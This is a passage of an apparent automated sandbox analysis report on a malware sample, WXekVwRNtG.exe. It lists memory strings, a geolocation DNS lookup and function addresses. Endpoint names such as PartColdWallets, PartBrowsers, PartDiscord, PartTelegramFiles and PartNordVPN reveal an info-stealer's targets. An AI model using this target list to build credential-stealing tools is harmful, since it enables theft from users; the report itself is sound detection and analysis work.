                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessageD
                      Source: WXekVwRNtG.exe, 00000000.00000002.381444459.00000000026FC000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessageP
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessagePale
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rmt
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmp, WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity$
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
                      Source: WXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmpString found in binary or memory: http://service.r
                      Source: WXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmpString found in binary or memory: http://service.real.com/realplayer/security/02062012_player/en/
                      Source: WXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmpString found in binary or memory: http://support.a
                      Source: WXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmpString found in binary or memory: http://support.apple.com/kb/HT203092
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/Confirm
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/ConfirmResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381287098.0000000002655000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/ConfirmResponseP
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponseD
                      Source: WXekVwRNtG.exe, 00000000.00000002.381287098.0000000002655000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponseP
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/Init
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/InitDisplay
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/InitDisplayResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381287098.0000000002655000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/InitDisplayResponseP
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/InitResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartBrowsers
                      Source: WXekVwRNtG.exe, 00000000.00000002.381923098.000000000283F000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartBrowsersResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartColdWallets
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartColdWalletsResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartDefenders
                      Source: WXekVwRNtG.exe, 00000000.00000002.381287098.0000000002655000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartDefendersResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartDiscord
                      Source: WXekVwRNtG.exe, 00000000.00000002.381287098.0000000002655000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartDiscordResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartFtpConnections
                      Source: WXekVwRNtG.exe, 00000000.00000002.381287098.0000000002655000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartFtpConnectionsResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartHardwares
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartHardwaresResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381287098.0000000002655000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartHardwaresResponseP
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartInstalledBrowsers
                      Source: WXekVwRNtG.exe, 00000000.00000002.381923098.000000000283F000.00000004.00000001.sdmp, WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartInstalledBrowsersResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartInstalledSoftwares
                      Source: WXekVwRNtG.exe, 00000000.00000002.381287098.0000000002655000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartInstalledSoftwaresResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartLanguages
                      Source: WXekVwRNtG.exe, 00000000.00000002.381287098.0000000002655000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartLanguagesResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartNordVPN
                      Source: WXekVwRNtG.exe, 00000000.00000002.381287098.0000000002655000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartNordVPNResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartOpenVPN
                      Source: WXekVwRNtG.exe, 00000000.00000002.381287098.0000000002655000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartOpenVPNResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartProcesses
                      Source: WXekVwRNtG.exe, 00000000.00000002.381923098.000000000283F000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartProcessesResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartProtonVPN
                      Source: WXekVwRNtG.exe, 00000000.00000002.381287098.0000000002655000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartProtonVPNResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartScannedFiles
                      Source: WXekVwRNtG.exe, 00000000.00000002.381287098.0000000002655000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartScannedFilesResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartSteamFiles
                      Source: WXekVwRNtG.exe, 00000000.00000002.381923098.000000000283F000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartSteamFilesResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartTelegramFiles
                      Source: WXekVwRNtG.exe, 00000000.00000002.381287098.0000000002655000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/PartTelegramFilesResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
                      Source: WXekVwRNtG.exe, 00000000.00000002.381082524.0000000002571000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
                      Source: WXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmpString found in binary or memory: http://www.google.com/earth/explore/products/plugin.html
                      Source: WXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmpString found in binary or memory: http://www.interoperabilitybridges.com/wmp-extension-for-chrome
                      Source: WXekVwRNtG.exe, 00000000.00000002.381571018.0000000002748000.00000004.00000001.sdmp, tmp5FBC.tmp.0.drString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: https://api.ip.sb
                      Source: WXekVwRNtG.exe, 00000000.00000002.381164872.0000000002604000.00000004.00000001.sdmpString found in binary or memory: https://api.ip.sb/geoip
                      Source: WXekVwRNtG.exe, 00000000.00000002.380597703.0000000002190000.00000004.00020000.sdmpString found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
                      Source: WXekVwRNtG.exe, 00000000.00000002.381571018.0000000002748000.00000004.00000001.sdmp, tmp5FBC.tmp.0.drString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
                      Source: WXekVwRNtG.exe, 00000000.00000002.381571018.0000000002748000.00000004.00000001.sdmp, tmp5FBC.tmp.0.drString found in binary or memory: https://duckduckgo.com/ac/?q=
                      Source: WXekVwRNtG.exe, 00000000.00000002.381571018.0000000002748000.00000004.00000001.sdmp, tmp5FBC.tmp.0.drString found in binary or memory: https://duckduckgo.com/chrome_newtab
                      Source: WXekVwRNtG.exe, 00000000.00000002.381571018.0000000002748000.00000004.00000001.sdmp, tmp5FBC.tmp.0.drString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
                      Source: WXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmpString found in binary or memory: https://get.adob
                      Source: WXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmpString found in binary or memory: https://helpx.ad
                      Source: WXekVwRNtG.exe, 00000000.00000002.381571018.0000000002748000.00000004.00000001.sdmp, tmp5FBC.tmp.0.drString found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
                      Source: WXekVwRNtG.exe, 00000000.00000003.379008513.0000000008F5D000.00000004.00000001.sdmpString found in binary or memory: https://search.yahoo.com/search
                      Source: WXekVwRNtG.exe, 00000000.00000002.381571018.0000000002748000.00000004.00000001.sdmp, WXekVwRNtG.exe, 00000000.00000003.379008513.0000000008F5D000.00000004.00000001.sdmp, tmp5FBC.tmp.0.drString found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
                      Source: WXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmp, WXekVwRNtG.exe, 00000000.00000002.381571018.0000000002748000.00000004.00000001.sdmpString found in binary or memory: https://support.google.com/chrome/?p=plugin_divx
                      Source: WXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmp, WXekVwRNtG.exe, 00000000.00000002.381571018.0000000002748000.00000004.00000001.sdmpString found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
                      Source: WXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmpString found in binary or memory: https://support.google.com/chrome/?p=plugin_java
                      Source: WXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmpString found in binary or memory: https://support.google.com/chrome/?p=plugin_pdf
                      Source: WXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmpString found in binary or memory: https://support.google.com/chrome/?p=plugin_quicktime
                      Source: WXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmpString found in binary or memory: https://support.google.com/chrome/?p=plugin_real
                      Source: WXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmp, WXekVwRNtG.exe, 00000000.00000002.381571018.0000000002748000.00000004.00000001.sdmpString found in binary or memory: https://support.google.com/chrome/?p=plugin_shockwave
                      Source: WXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmpString found in binary or memory: https://support.google.com/chrome/?p=plugin_wmp
                      Source: WXekVwRNtG.exe, 00000000.00000002.384560367.0000000002A1A000.00000004.00000001.sdmp, WXekVwRNtG.exe, 00000000.00000002.381571018.0000000002748000.00000004.00000001.sdmpString found in binary or memory: https://support.google.com/chrome/answer/6258784
                      Source: WXekVwRNtG.exe, 00000000.00000002.381571018.0000000002748000.00000004.00000001.sdmp, WXekVwRNtG.exe, 00000000.00000003.379008513.0000000008F5D000.00000004.00000001.sdmp, tmp5FBC.tmp.0.drString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
                      Source: unknownDNS traffic detected: queries for: api.ip.sb
                      Source: WXekVwRNtG.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_00408C600_2_00408C60
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_0040DC110_2_0040DC11
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_00407C3F0_2_00407C3F
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_00418CCC0_2_00418CCC
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_00406CA00_2_00406CA0
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_004028B00_2_004028B0
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_0041A4BE0_2_0041A4BE
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_004182440_2_00418244
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_004016500_2_00401650
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_00402F200_2_00402F20
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_004193C40_2_004193C4
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_004187880_2_00418788
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_00402F890_2_00402F89
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_00402B900_2_00402B90
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_004073A00_2_004073A0
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_008284940_2_00828494
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_008118A00_2_008118A0
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_008178560_2_00817856
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_008131D90_2_008131D9
                      Source: C:\Users\user\Desktop\WXekVwRNtG.exeCode function: 0_2_008289D80_2_008289D8
